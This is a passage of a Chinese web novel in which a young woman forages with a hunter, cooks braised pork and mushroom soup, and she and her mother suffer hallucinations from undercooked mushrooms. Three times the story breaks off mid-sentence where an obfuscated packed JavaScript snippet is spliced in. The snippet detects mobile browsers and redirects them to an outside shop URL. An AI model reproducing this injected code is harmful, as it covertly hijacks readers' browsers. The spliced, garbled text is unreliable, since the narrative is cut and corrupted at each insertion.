古代生活虽然无趣,没有电子产品,没有游戏,没有空调,但自然资源非常好。在这里,风是甜的,空气是无污染的。 特别是在山上,早晨天蒙蒙亮的山上…… 徐安然一路跟着周时,这次,他们没有走前几次走的路,而是从另一头上山,这里的物资更丰富。 “我不知道你说的那些草药名字什么模样,但是以我的经验来看,这片地方应该会有你想要的菜。”周时站在她身旁,指着眼前一片绿油油的地。 徐安然其实也不知道这一趟上山能不能找到做卤肉的材料,但是看着焕然一新的土地,和茂盛的植物,她已经十分知足了。 眼前的植物,百分之八十都是可以吃的。有香茅、芝麻菜、草果……甚至还有山椒子,每一颗都十分健壮,最高的有三米左右,十分壮观。 “周大哥!你真是我们家发家致富的引路人!”徐安然激动地说完,连忙奔向这个胜似天堂之地。 她开心,周时也开心。 “你忙你的去吧,不用一直跟着我。”徐安然蹲在一片香茅中,她的手上已经拿了很多了,回头发周时居然还在她的身边,于是连忙说。 “这里相较于你之前摔跤的地方,会更危险。” “这样吗?那好吧,麻烦周大哥了,我尽快摘。” 周时都说了有危险,那还是别让他走了,自己的小命更重要。 “你慢慢来,我今日不打猎。” 光靠打猎,不足以维持生活,所以他还在山里做了陷阱,特别是在深处,人经过得少,做陷阱也不怕伤害到无辜的人。陷阱每两天一检查,这次应该能有所收获。 徐安然不知道周时在附近做了陷阱,他说完那些话之后,加快了采摘的进度。 好在这些野菜都没那么占地方,只要见到可以吃的或者可以入菜做调味料的,她都摘下,带回家后再细细分拣。 只是她没想到,除了蕨类和草本植物之外,居然能看到菌子。 周时看着徐安然,见她伸手摘向蘑菇,连忙两步并作一步到她身边,“别摘!” 他的手正好搭在徐安然拿着蘑菇的手上,手心的触感让他耳根一红,“这个不能吃。”他支支吾吾地说,紧接着抽开手,精准拿走徐安然手上刚摘下的蘑菇,丢得老远。 “不是,大哥。”徐安然眼睁睁地看着白白胖胖的菌子以一道完美的抛物线,掉进了密布的草堆中。 “可以吃的呀!”她急匆匆地说,“这个叫菌子,只要煮熟之后就可以吃。” “不能吃!会出事。”周时依旧保持己见。 “你吃过?”徐安然突然冷静下来问道。 “吃过,睡了两天才恢复神智,这蘑菇会致幻,十分可怕。”说到这,周时又想到了当时吃这毒蘑菇的景象。 如果不是四叔发现,他估计会将家里射成筛子,因为他当时幻想到家中全是猎物,十分可怕。他在山里打猎那么多年,最怕的就是这类白黄色的蘑菇。 徐安然笑得弯下了腰,眼泪都要笑出来了。 “这个蘑菇没煮熟之前确实会让人产生幻觉,俗称菌子中毒,那是因为你没有煮熟就吃的原因,只要洗干净煮熟了,就没事。而且这个菌子十分新鲜,和竹笋一起,再加些青菜和肉,最后放上两块嫩豆腐,煮成汤,豆腐裹满了鲜汤,味道特别鲜美,真的。” 徐安然耐心解释。 也原谅了刚刚周时扔她肥美菌子这件事。 “你刚刚扔的是这里最好最大的一朵菌子,要不是知道你之前中过毒,我可要生气的。”说完,不管周时什么表情,弯下腰继续从一众野生菌子中挑选出最好的几朵。 不知过了多久,等她再次起身时,竟发现周时依旧站在老地方,不同的是,手里多了一朵菌子。 “是这个吗?”他问。 “我去!”徐安然惊讶出声,连忙接过他手上的菌子,“你居然找回来了?我看着扔很远呢,你什么时候找到的?我居然一点儿声音都没听到。” “你太认真了。”周时说,“现在还生气吗?” “啥?我本来就没生气呀,你不用这样,搞得好像我脾气很差。” 周时肉眼可见地慌了,连忙解释,“我没有这个意思。” “我知道,我知道。”徐安然满心欢喜地看着手里的菌子,失而复得,好开心。 “谢谢你,周大哥,你人真好。” “不必客气。” “你接下来要去做什么?我跟你一块过去吧,我已经摘得差不多了。” 这一趟收获颇丰,虽然没有挖笋,但她已经心满意足了。周时一直待在她身边,都没有时间去做自己的事情,所以即使已经准备到正午,她也并不着急离开。 “去附近设的陷阱看看,然后就可以下山了,时间长了,你娘会担心你。” “没想到你还挺细心的。”徐安然跟在周时身后,小声说。山里鸟兽虫鸣,她以为周时听不到,殊不知他全听了去,一抹红悄悄爬上脖颈,很快整个耳朵都红了。 好在徐安然比较矮,根本没看到。 很快,他们便来到了第一个陷阱处,这是一个被草垛遮挡起来的坑,坑里有几个捕兽夹。在捕兽夹的旁边,有几块生肉。 “真奢侈啊,用生肉来捕猎。” “这些都是老鼠肉,不是什么能吃的。” “哦~那老鼠还挺惨的。”徐安然也不知道自己在说什么,反正想到哪句就说哪句了。 周时动作很快,坑里没有猎物,他便恢复原貌,然后继续往前走到第二个陷阱。 第二个陷阱是个用网兜吊起来挂在树上的,常用于活捉一些跑得比较快的猎物,比如驯鹿和狍子,这类猎物活的更值钱。 这个陷阱需要每天都来看一次,因为这类猎物很聪明,可以挣脱渔网的束缚。一路上,周时跟徐安然说了很多关于捕猎的趣事。他从八岁开始跟随父亲打猎,一路磕磕绊绊地长大,直到父亲去世,又跟着他的四叔一起。 虽然山里的猎物很多,但是都聪明得很,白天基本不出没,而且他由于经常上山,山里的动物见到他都躲着不出来。 上次的野猪出没,存粹是因为徐安然面孔生。这才捡了个大便宜。 她这才知道,其实能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100666|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打猎到野猪的概率很低很低,所以周时那天给她的三百文……真的很多了。 他居然这么舍得…… 饶是徐安然再怎么迟钝,也终于发觉不对劲儿了。 她幽幽地看着周时的背影,一言不发。 “怎么了?”周时转头看着停下来的徐安然,不知为何,他突然有些心虚?或许是她眼里的探究意味太浓了吧。 “没什么。”徐安然不想说,万一是自己想多了,说出来怪尴尬的,而且……她现在一心只想搞事业。 人生大事,以前没想过,现在也没想过。 “还有最后一个陷阱了,距离不远,看完我们就下山。”周时还以为她是累了,于是连忙说道。 “是我麻烦你,周大哥,你不用一直迁就我的。” “你是女孩子嘛,我一大老爷们晒点没事,你别晒着了。”周时将心里话说了出来。 说话间,第三个位置的陷阱到了。 徐安然怔在原地,惊讶地张嘴,却发不出任何声音,看着像是被吓傻了。 一地的血,还有动物尸体被啃食的痕迹,在陷阱的不远处,还有一堆骨头。 这显然是哪个大型动物被另一只大型动物吃了。 她虽然见过很多屠宰的场面,但依旧受不了眼前这血呲呼啦的场面。但好奇心实在太重,还是忍着不适看。 这样的场面周时见过太多了,只是今日恰好徐安然在场,并且恰好遇见了这样的场面。 一直关注徐安然的周时哪里能不知道她的不适。“如果受不了就转过头去,我很快清理好。” “没事没事。”徐安然连忙摆手,“你忙你的。” 她看着周时处理血腥场面的背影,在道路的一旁,有一处泉水自上而下地流,周时带了盆,接水后将血迹冲了个大概,然后拿着锄头将土重新翻新了一遍。 虽然血腥味还在,但是已经没有了那样恐怖的场面。 这时候,他才看向不远处的深坑陷阱。 这个陷阱足足有五米深,一个人摔下去都会有骨折的风险,别提说山里的动物了。 在洞底下,躺着一只通体漆黑的野猪。 又是野猪,这山里,野猪真多啊。 周时解下盘在腰间的绳子,绑在不远处的一棵树干上,然后顺着绳子往下进入洞口。 徐安然连忙跟过去,虽然可能帮不上忙,但她还是想看着周时。 周时十分敏捷,在距离地面一米的距离便跳了下去。 随后抬头看着在顶上的徐安然,“徐姑娘,麻烦你帮忙把背篓丢下来给我。” “哦,好!不麻烦。”徐安然连忙将一旁的背篓丢了下去,丢之前,还不忘告诉周时躲远一些。因为她的准头不是很好。 随着“砰”的一声,背篓成功落地,野猪不是很大,比第一次要袭击她的野猪瘦了一圈,但肉质看着很紧实。 将野猪背上来后,调整好位置,然后铺上血封草,做完这些,习惯性地又要拿起徐安然的背篓。 “我自己来吧。” “你的腿……” “基本都好全了。” “好,背不动了就喊我。” “嗯。” “……” 二人一大一小的背篓,并肩往下山的路走去。 山下……周时看着徐安然的背影走远,紧接着找了个地方将野猪藏好,又重新转头上山。他打猎那么多年,哪里只会在山里设三个陷阱。 只是觉得她是累了,所以先带她下山。 19. 第 19 章 徐安然收获满满到家,苏清依旧站在门口等着。单薄的身影让她感到心疼。 “娘,您下次要是想等我,可以拿张椅子出来坐着等,别光站着啦。很累的。” 是该快点带苏清去镇上的好医馆看看了。 苏清笑着接过徐安然背上的背篓,“娘没等多久。” 即使徐安然已经长大,已经比她高出一个头,但是苏清依旧将她当作小孩一样看待。 “还是个要强的小太婆呢。”她玩笑地说。 “你这孩子,总打趣我。” “好~不说了,不说了。” 徐安然没有将从山上采摘下来的东西放回厨房,这会儿时间还早,她简单地吃了个午饭。 紧接着将昨日在镇上买的猪耳朵和猪蹄拿出来,锅里倒了一半的清水,烧开后直接整个下锅。 卤肉第一步,焯水,撇去在说面上的白色浮沫,能有效去除猪肉百分之八十的腥味。 古代的猪肉没经过割阎,骚味很重,所以需要多做一个步骤。使用盐和醋腌制上一个时辰,不仅可以让肉更入味,也能有效去腥。 腌制的时间也不闲着。徐安然拿着椅子坐在院子中唯一的棚下,面前是从山上背下来的背篓,她需要对这些青菜、菌类以及调味料做一个细致的分类。 山椒子可以晒干碾碎,香茅也可以晒干放进罐子里储存。 苏清不认识她摘的青菜和草药的名称,帮不上忙,于是坐在她旁边刺绣,只要她有任何需要帮助的地方,便能及时知道。 虽说初春雨水多,但是徐安然来到这儿一个月了,没下过一天雨,村里人没每天都在抱怨。他们要等着一场雨浇灌,土地松软后,就要开始新一轮农忙了。 不过她猜这几天应该要下雨了。因为今日的阳光除了炽热之外,空气还伴随着闷热和潮湿,呼吸起来有些空气沉重,像有无形蒸笼罩住大地。 所以到傍晚,她便将晒着的山椒子和香茅都收回了厨房。 傍晚,也是她展示厨艺的时间。 猪头肉和猪蹄刚好腌制足一个时辰。 这个时期的冰糖比白糖贵多了,她打听过,即使在永和这样的小镇,也要一百文一斤。 以她目前的条件实在买不起,所以她将卤肉汁必备调味冰糖换成了白糖,其余的酱油、烧酒、八角、香叶、生姜、干辣椒都可以买到,价格还算上可观。 徐安然重新烧了一锅水,将猪头肉和所有的材料,除盐以外,一并放了进去,直到大火烧开,然后转小火慢慢卤制。 小火卤制的过程,也是让猪肉入味的过程,猪头肉本来就很肥腻,但只要卤入味了,那便吃不出肥腻的味道和口感了。 她第一次创业的时候,骑着一辆三轮车,最初也是以卤肉为主,后来慢慢讲生意做大,这才开了餐饮店。 所以对于卤肉的做法,她熟得不能再熟。 卤肉其实不难,最复杂的其实是卤汁的调配,不能太咸了,更不能淡口。其实就是火候的把控,大火烧开之后必须转小火慢炖,精炖才能入味。 其余的去腥和焯水步骤,更谈不上难了。 卤肉的香味是十分浓郁的,飘出了厨房,飘到了院内,飘到了每一个刚从地里回来经过她家门外的村民们的鼻尖。 大家心中都十分好奇,苏清家穷,是村里人尽皆知的事情,但是这两日从她家门口经过,总能闻到十分浓郁的饭菜香味。 而且这香味,很新奇,她们从未闻到过。 “这苏清家是不是要发达了?” 其中一对背着农活工具的夫妇,实在是没忍住停在她家门口,跟自家丈夫讨论起来。 在她们二人心里,即使吃不到,但光闻着味道,都已经赚到了。 “谁知道呢,不过我最近听说,她家姑娘跟周时那孩子走得很近。”男子道。 “周时?”妇人想了想,问,“李四家那侄子?” 男子继续回:“对啊,那孩子一身劲儿,前段时间还帮着她家姑娘打扫茶馆呢……我们家俩姑娘也去了不是吗。” 没等男子说完,身后便传来了纠正的声音,“那徐哥家的茶馆都多少年没料理了,哪能那么容易就打扫出来。不过我听说那俩孩子好事将近了,小柔最近都不爱出门咯。” 突如其来的第三人吓了夫妇俩一大跳。 农妇偏过头,皱着眉问:“阿花,这事儿真的假的?你可别乱说了,要不是真事,以后她家姑娘还咋嫁人。” 名叫阿花的妇人捂住了嘴,支支吾吾道:“我也是听村里其他人说的,也不知道真假。” 丁云一副果然如此的表情,经过丈夫的提醒,她也想起来了,家里两个女儿曾在饭桌上说过,徐安然有跟她们一起去镇上摆摊。而且生意很好,想来就是因为这个原因。 所以人家姑娘是凭借自己本事赚钱,跟男人没关系。 她说:“我两个女儿常去镇上摆摊,见过苏家那孩子几次,带着自己做的食物去的,听说生意还挺好,周时那孩子应该也只是顺道,如果俩孩子有好事,李四还能不大张旗鼓地清全村人吃饭嘛。” 山亭村的人都知道,自从周时父亲去世之后,他就一直待在李四身边,这么多年两夫妻没要孩子,将周时视如己出,比谁都要操心他的婚事。 “这样呀,哎呀,我多嘴,我不说了。”阿花也自知理亏。 她们不在讨论关于徐安然的八卦,而是将目标转向徐安然家里传出来的香味。 “哎,云姐,你不是说你们家俩孩子跟安然那孩子熟嘛,你让你家孩子去问问,这煮的是什么东西,能不能买?” “额……”丁云有些为难,她脸皮薄,但纠结了一会儿,便控制不住地点头了,“行,我回去问问,我们也快回去吧,一直待在别人家门口,被发现了怪尴尬的。” 说完,带着自己的丈夫先一步离开,只留下一脸莫名的阿花。 “这有啥好尴尬的。”她不解,“不都是一个村的嘛。” 话虽这么说,她也没胆去叩响苏清家的房门,在丁云走后,狠狠嗅了一口不知名美食的香气,然后恋恋不舍地离开。 在厨房和菜品共舞的徐安然不知道外边这一点小插曲。卤肉她更喜欢软烂一些的口感,所以卤煮了将近一个时辰,也就是现在,她拿着一根筷子轻轻一戳,成功戳出一个口子,她满意地笑了。 “娘,可以灭火了!” “得咧。” 趁着猪头肉在卤煮期间,徐安然已经顺势将米饭蒸上。 虽然她们家家徒四壁,但是灶台却有俩,烧菜的同时煮饭并不是什么难事。 待卤肉和米饭时间差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107412|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了,最后再炒盘蔬菜,做个简单的汤。盛上一大碗米饭,从卤煮锅里舀上一勺滚烫的卤汁,最后切上两块卤肉放进碗里,这样就是一碗完美无瑕的卤汁卤肉饭了。 母女俩各自捧着一个碗,放在那张只够放三个碟子的桌上。徐安然用脚勾来不远处的小矮凳,率先坐下,紧接着低下头狠狠嗅了一口,浓郁的五香直冲鼻尖,她立即感觉到饿了。 于此同时,苏清也在做着跟她一样的动作,母女俩视线再次交汇上,心照不宣地,同时吃上第一口。 猪耳朵连着脆骨,咬起来咯吱响。 “嗯~”一口肉一口饭,卤汁甜香,和米饭一起搅拌,搅拌成酱色,即使不吃肉,光白米饭也能吃好几碗的程度。 这是苏清内心真正的想法。 比起上次的锅包肉,她更喜欢这道卤肉,因为相对更软,更好咀嚼。 徐安然也这么觉得,前几日的锅包肉分量并不多,吃起来不过瘾,这次的卤肉确是实打实地好几斤,过瘾极了。 整整一个月了,她总算吃上了名义上的好菜。 那日在酒楼吃过的那顿不算,那顿算是周时请的,不是她努力的结果。 不知为何,在这样一个和母亲一起吃饭的傍晚,她又想到了周时。不知他今天吃什么。 昨日请她吃烤鸭子,帮她提东西,送她荷包,早上又带她上山,保护她的安全,这卤肉……好像是该送去些,表达感激之情。 明天再去吧,今天太晚了。 徐安然心想。 但她吃完后,人还是不受控制地带着卤肉来到周时家。 如今走路已经不用拄拐了,她只当饭后散步,只不过散着散着散到周时家而已,并且还带着卤肉…… 只是没等她喊周时,身边经过一位妇女,和她母亲的年纪差不多,头发梳得整齐,衣着也干净。 经过自己时,视线一直在她手里的食盒上,带着浓浓的探究意味。 她不露痕迹地将食盒放移到身后,然后好奇问:“大姨,您有事嘛?” 丁云这才移开视线,笑眼盈盈地看着徐安然,“安然?” “对。您认识我?”她有些慌张,怕是原主的某个亲戚,那自己这样的反应确实很可疑。 丁云咧着嘴笑,“只见过几次,但你不认识我,因为我每次见到你的时候你都在忙自己的事情。我是秀敏和秀莲的娘,她俩最近经常和我提起你呢。” “婶子好。”徐安然乖乖叫人。 “哎,客气了。你这是……”她思考着徐安然来这里的可能性。因为这里好像是周时的家。 “路过……吃完饭散步路过。没什么事我先走了,我娘还在家等我呢。”说完,徐安然侧过身走到丁云前面,然后头也不回地离开。 她也不知道自己在躲个什么劲儿,条件反射就这样做了。 留下一堆话想问,但还没问出口的丁云。 “这孩子,不就是路过嘛,怎么脸这么红……” 说完,她又转过头看着眼前的大门。这就是周时家没错……难道村里最近的传言是真的? 彼时周时正在洗澡,期间隐约听见门外有声音,但等他洗好出来时,却一个人都没看见。 于是只能带着疑惑关上了门。 还以为是徐安然来了,是他想多了。 20. 第 20 章 这边回到家的徐安然将装着卤肉的食盒放在灶台上,卤肉不怕凉,凉了口感更丰富。 “早知道就不带着卤肉去散步了。”徐安然喃喃道。 本来最近村里就在传她和周时的闲话,这次不知道又会说些什么。 她甩了甩脑袋,不去想这些事情。 不能让这些问题影响了她赚钱的进度。 今天做卤肉只是一次实验,结果还算不错,苏清和她都觉得好吃,等明日秀敏俩姐妹来家里玩的时候再让她们试试。如果反响不错,那么后日就出发去镇上摆摊。 带着这个想法,今晚的徐安然睡得格外地好。 但周时就不一样了。 今夜的他翻来覆去地就是睡不着。他总觉得自己好像错过了什么。 于是第二日,天色是蟹壳青的,晨光还未完全醒,他便上山了。既然睡不着,那就起来干活。 然后徐安然又走空了。 回家的时候,刚好碰见苏清在洗脸,她疑惑地看着徐安然,两人不住在不同的房间,她认为徐安然还没起来,所以见到她从外边回来,心中有些错愕。 “这么早,去哪儿了?”苏清问。 女儿相较于以前活泼不少,这是她很希望看到的样子。但是今天这出门也太早了吧。而且手里还拿着食盒,也不知道是给谁送去了。 “哦,没事,出去晨跑了。”徐安然随便扯了一个理由,再次回到厨房将食盒放下。 “你觉得我信吗?” “哎呀,娘,你就别刨根问底了,我真的就是去晨跑的,怕饿着自己,于是带着食盒出去跑,饿了还能吃。” 居然有那么点道理,苏清心想。 “好吧,娘暂且信你。安然,心里有什么话都可以跟娘说,娘不仅仅是你的娘,还可以是你的倾诉对象,而且,娘是过来人,在其他方面……比你更有经验。” 徐安然小脸一红,支支吾吾地说:“娘,你说什么呢,知道了知道了,我有事一定第一个跟您说。” 说完,转身走入厨房,并且还关上了门。 厨房是她每天除了卧室之外,待得最久的一个地方,所以这地方被她收拾得整齐且干净。所有的食材都一一排列好,易储存的都放进了罐子,不易储存的,挂在房梁上,用绳子吊着,老鼠也吃不着。 满屋的食材香气,让她的烹饪瘾又上来了。 早饭吃卤肉难免会有些腻的,她翻开一个个装着食材的罐子,在看到昨日摘的菌菇,心中有了想法。 笋还剩下几个,掰开笋叶,露出里头的嫩笋心。右手持刀,手腕上下晃动,长条笋变成了一块块不规则的笋块,烧水,焯笋。 春笋,特别是野山笋,如果不焯水直接烹饪,会有明显的苦涩口感,煮汤不好喝,所以焯水十分有必要。 拿出昨日被周时捡回来的菌子,从中间撕开半朵。 这个菌子太大了,她跟苏清两个人吃不完一整朵。所以半朵就够,剩下的还可以做成别的菜。 菌子不用切的,要用手撕,这样才能更好地挂上汤汁,好吃的菌子,在吃的时候是可以蹦出汤水的,甜味由内而外地散开。 撕好的菌子,加几块老姜和老酒,一起入油锅炒爆香,出香味之后就可以出锅了。 她先给竹笋焯水再炒菌菇,因为菌子没煮熟会产生毒素,她不想洗两次锅,麻烦。 家里没有沙锅,所以只能用陶锅来替代,口感可能会差一些,但食材新鲜,所以可以弥补这点不足。 将菌菇倒入陶锅中,加上两瓢水。重新烧火等水烧开,再放笋。 笋一定要比菌菇放得晚,因为笋不能煮太长时间,否则鲜味都被剁了去。 只有两种食材,有些单调了。这几天一起吃饭,徐安然也算对苏清的口味有了些了解,不怕辣,于是她又加了几颗野山椒。 是油炸过的野山椒,里头的辣味被完全激发出来,再一起倒入汤里,风味这不就有了。 “如果有火腿或者腊肉就好了。”徐安然一边搅动着汤,一边喃喃道。 “安然,咱家母鸡又下了两颗蛋。”门外,响起苏清的声音。 她这才反应过来,门还关着。 听见厨房内响起叮叮当当的声音,苏清就知道她又在做饭了,所以没有打搅徐安然,因为即使她在,也帮不上什么忙,徐安然常会捣鼓些新奇的美食,她活了大半辈子都没见过的美食。 只是最近几日她总念叨着母鸡又不下蛋了,今日好不容易下了两颗,她便想问问徐安然需不需要。 没等她想完,门从里面打开。露出一张笑容灿烂的小脸。 “娘!你太及时了。”她正愁配菜有些少呢,没有火腿和腊肉,鸡蛋也可以呀,而且还是两个,她和娘一人一个。 煎荷包蛋,听着简单,但需要一定的技巧,特别是流心的荷包蛋。 “有娘可以帮忙的地方吗?” 自从徐安然掌管厨房之后,她再也没下过厨,如今也有些手痒了。 “嗯……那您帮我洗一下锅吧。”徐安然指着左边用来炸过菌子的锅说道,“得洗干净些哦,这口锅炒锅菌子,菌子不煮熟吃了会中毒的。” “中毒?”苏清听到着两个字,忽地拔高了音调。 “煮熟了就不会,娘,您就放心吧,我的厨艺您还不信?” “信……好吧,娘会洗干净的。” 说完,苏清便端着锅来到了水井旁,里里外外洗了个遍。 除此之外,还不忘叮嘱徐安然,“再用热水洗一下吧。” “听娘的。” 徐安然觉得苏清实在太小题大做了,但也还是照着她的要求做了,让她放心。 冷油下锅,小火慢煎,这是荷包蛋的八字口诀。鸡蛋打进锅勺中,加些盐在表面,这样鸡蛋吃着有味,紧接着缓缓将鸡蛋倒入锅中,期间慢慢给锅加温。 透明的蛋白从边缘开始慢慢泛白,期间什么都不用做,直到鸡蛋凝固,再用筷子夹住边缘快速翻身。 荷包蛋的精髓就是圆,中间的蛋黄是圆的,蛋白也是圆的,蛋黄表面凝固,中间流心。时间差不多了,再放第二个鸡蛋。 煎蛋加猪油,陶锅和铁锅都不会粘锅。 “吃饭啦。” 她朝院内正在忙碌的苏清喊道。 “哎,来了。” 这个场景似曾相识,徐安然刚到这里的那几天,苏清也是这样喊在院子里的她吃饭的。 菌子和笋,这两样食物本身就以鲜出名,菌子煮出来的汤,很白,也很甜,菌香味十分浓郁,因为加了野山椒,喝后舌头有些麻,但很爽口。 笋脆,菌鲜。在春寒料峭的早晨,一碗下肚,能暖人一整天。 苏清更是一连喝了三碗。 “好喝吧?” “这是娘喝过,最新鲜的汤,没想到山里居然这么多丰富的食材,更没想到的是,我们家安然居然都知道该怎么做。” 徐安然嘚瑟地笑,“专业的。”说完,又给苏清盛了一碗。 徐安然也是好久没喝到这么新鲜的汤了,一连三碗汤下肚,感觉魂儿都飘了。 眼前出现一朵朵菌菇,跟人一样高。 “这么高的菌子,我要带回家!能吃好几顿呢,娘,你帮我一块拔!”她站起身,手伸向眼前的菌子。 只不过这个菌子狡猾地很,居然会跑。 而且还会大叫,声音还挺耳熟。 “成精了?那更要摘了。” 对面的苏清,比徐安然更夸张。 她眼见一只兔子一直追着她,要拔掉她的头发,而院子外的徐安然,正捧着肚子大笑。任她怎么叫,都不来帮她。 而且这兔子执着得很,只拔她的头发,仿佛没见到外面还站着一个人。 不知过了多久,她跑累了,停下来,任由兔子拔她的头发…… “哈哈哈!我终于抓到你了!” 在晕倒之前,徐安然胜利的声音在耳边响起。 再次恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116563|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复意识的时候,天已经黑了大半。 苏清支撑着手从床上起来,紧接着头皮传来刺痛感,她吸了一口凉气,这是她家没错,可是为什么突然躺在床上了? “唉,再穷也不能吃有毒的东西啊。要不是发现得早,这母女俩不知道何时才能清醒呢。” 外头传来说话声。很耳熟,好像是之前帮徐安然治腿的郎中。 她强撑着不适起床,走到屋外,发现站着好几个人。都是村里的人。 秀敏两姐妹,周时,以及……李郎中。李郎中前几月已经搬到镇上去了,他这时候出现在这里,一定是被人请来的。 再联想到她头皮上传来的刺痛感,好像明白发生什么事了。 她走路的动静很大,李郎中话还没说完,其他几人就发现她了。 “苏婶,您没事吧?”李秀莲担忧地说,“您现在能认出我是谁了不?” 苏清一脸莫名,“孩子,你说什么胡话呢。” “呜呜呜!”李秀莲瞬间哭了出来,“您才是那个说胡话的人啊!我今早来您家的时候,您跟安然像换了个人似的,对着空气说话,还对着我说胡话,要不是周大哥找来李郎中,我真怕您疯了。” “疯了”二字一出来,李秀敏连忙捂住自己妹妹的嘴巴,讪笑道:“婶子,别往心里去,童言无忌,童言无忌。” 说完,又看着李秀莲说:“你也真是的,李郎中都说只是食物中毒产生幻觉,不是什么大病,疯什么!” “哦。我就是担心……” 在姐妹二人的对话中,苏清总算了解了事情的来龙去脉,早晨徐安然就说过,菌子不煮熟会让人中毒,一般来说最常见的症状就是产生幻觉。 想到徐安然也吃了,而如今没见到她的身影,苏清连忙担忧地问:“安然人呢?” “在自己房里睡着,在您没醒之前,一直由李二姑娘照顾着。” 周时说完,苏清终于放下担忧的心。 “这孩子……”苏清都说不出话了。 不知道该怎么说,知道菌子不煮熟不能吃,但仅仅是知道而已。 也怪她,徐安然还不太会烧火,不应该把烧火这件事全部交给她的。 “妹子啊,以后不认识的东西,千万不能乱吃了。”李郎中语重心长地说,“这次我就不收你钱了,即使日子过得苦,也不能病急乱投医啊,这次只致幻,如果下次真的中毒了怎么办?我就算是神仙也救不了你们呀。” 李郎中比苏清还年长一轮,医者仁心,他在村里的口碑很好,上次帮徐安然治腿伤,也只收了一半的费用。 “知道了,谢谢您,李大哥。”说完,苏清从兜里拿出五个铜板,“这钱您拿着吧,这么晚了还让您跑来。” “不用不用!” 推搡间,苏清又觉得有些晕了。 “您拿着吧,不然我心里不好受。”说完,强硬地将铜钱塞进李郎中手里。 “唉,那好吧。药在桌上,一会儿你喝下,安然的等她醒了再让她喝,可以缓解头痛的。” 说完,李郎中便离开了。 天已经黑了,一个老人家走夜路不安全,于是周时又用牛车将李郎中送回到镇上。 院子里只剩下两姐妹和苏清。 “苏婶,您喝了药就赶紧回去休息吧,有什么话咱们明天再说。” “哎,好,今日真的谢谢你们。” “客气啦,举手之劳嘛,我们也没少吃安然做的饼。” 天色不早了,姐妹二人不想打扰母女俩休息,主动提出离开。苏清看着她们的背影走远,这才重新回到院内。 进屋后,端起放在桌上的药,右转,来到徐安然的房间。 她双眼紧闭床上,嘴边还带着笑,手里抱着一根木棍,或许是将它当成了菌子吧。 产生的幻觉在但醒后还存留在脑海中。 她无奈地扯出一抹笑,虽然今天有些波折,但是那菌子汤,味道确实很美味。 也值了。 21. 第 21 章 或许是昨日徐安然吃了太多没煮熟的菌子,所以到次日晌午,徐安然才渐渐苏醒。 天亮得刺眼,她猛地直起身,伴随着一阵黑色眩晕,好一会儿才缓过劲来。 她菌子中毒了。 昨日的记忆深深印在脑海中,好像还有一朵大菌子成精了,一直跑,不让她摘。 她连忙挪开被子,起身一边穿鞋一边大喊:“娘!” 此刻她只想确认苏清是否安全。 当她头发乱糟糟地出现在屋外,见到的便是好几人围坐在是桌前其乐融融的景象。 “秀敏,秀莲?你们怎么……” “咳咳。”周时假意咳嗽两声。他这么明显的一个人,为什么不跟他打招呼? “周大哥……你也在。” “嗯。”周时点了点头。终于看见他了。 周时不露痕迹地上下打量了一圈徐安然,发现她除了脸色还有些苍白,精神状态已经恢复正常,他送了口气。 此时,左边的笼子里,几只兔子见到徐安然后发出叽叽的叫声。她自己瘦瘦的,却将三只兔子养得胖胖的…… 徐安然知道这几只兔子是在表达不满,因为没给它们新鲜的蔬菜。但此时她没空搭理这三只。 “安然!你终于醒了!”李秀莲放下筷子,但嘴里还在咀嚼着,跑到她面前后,一边做着吞咽的动作一边抱住她,带着哭腔,“你再不醒,周大哥可要去镇上请另一位郎中来看你了。” 徐安然看看了周时一眼,发现他正在看着那三只成了精的兔子,随后转移视线,她也顾不得到底是怎么一回事了,轻轻拍了拍李秀莲的背,轻声道:“我没事,别哭。” 明明她才是那个刚醒来的病号啊,怎么现在是她在安慰李秀莲? “卤肉好吃嘛?”为了让李秀莲停下哭腔,她又问。 李秀莲吸了吸鼻子,怔怔地点头。 这话问得挺突然的,但条件反射的肯定骗不了人。徐安然低头一笑,再有小吃家的肯定,这卤肉好卖。 “本来昨日就想让你们试试的……但……呵呵。”她实在说不出口,自己菌子中毒这件事。 接下来的时间,她终于是在姐妹俩你一言我一语中得知了昨日发生的所有来龙去脉。 她掐着人中,防止自己晕过去。 没想到堂堂一代大厨,居然在跌在煮菌子这件事情上,并且还闹出了那么大一出糗。丢人啊。 不过还有比丢人更严重的事情。 “昨日发生的事情,村里的人不会都知道了吧?”她问。 “嗯……”李秀敏沉默了许久,才缓缓道,“多多少少都听说一些了,但是你别担心,咱们发现得早,所以大家都只知道个大概。不会影响到你的生意。” 李秀敏能精准道出她的担忧,倒是让她吃惊。 “希望是这样吧……其实这菌子真的可以吃,只不过煮的时间要够长,我昨日中毒是因为对烧火的时间掌握还不够,也怪我,大意了。” 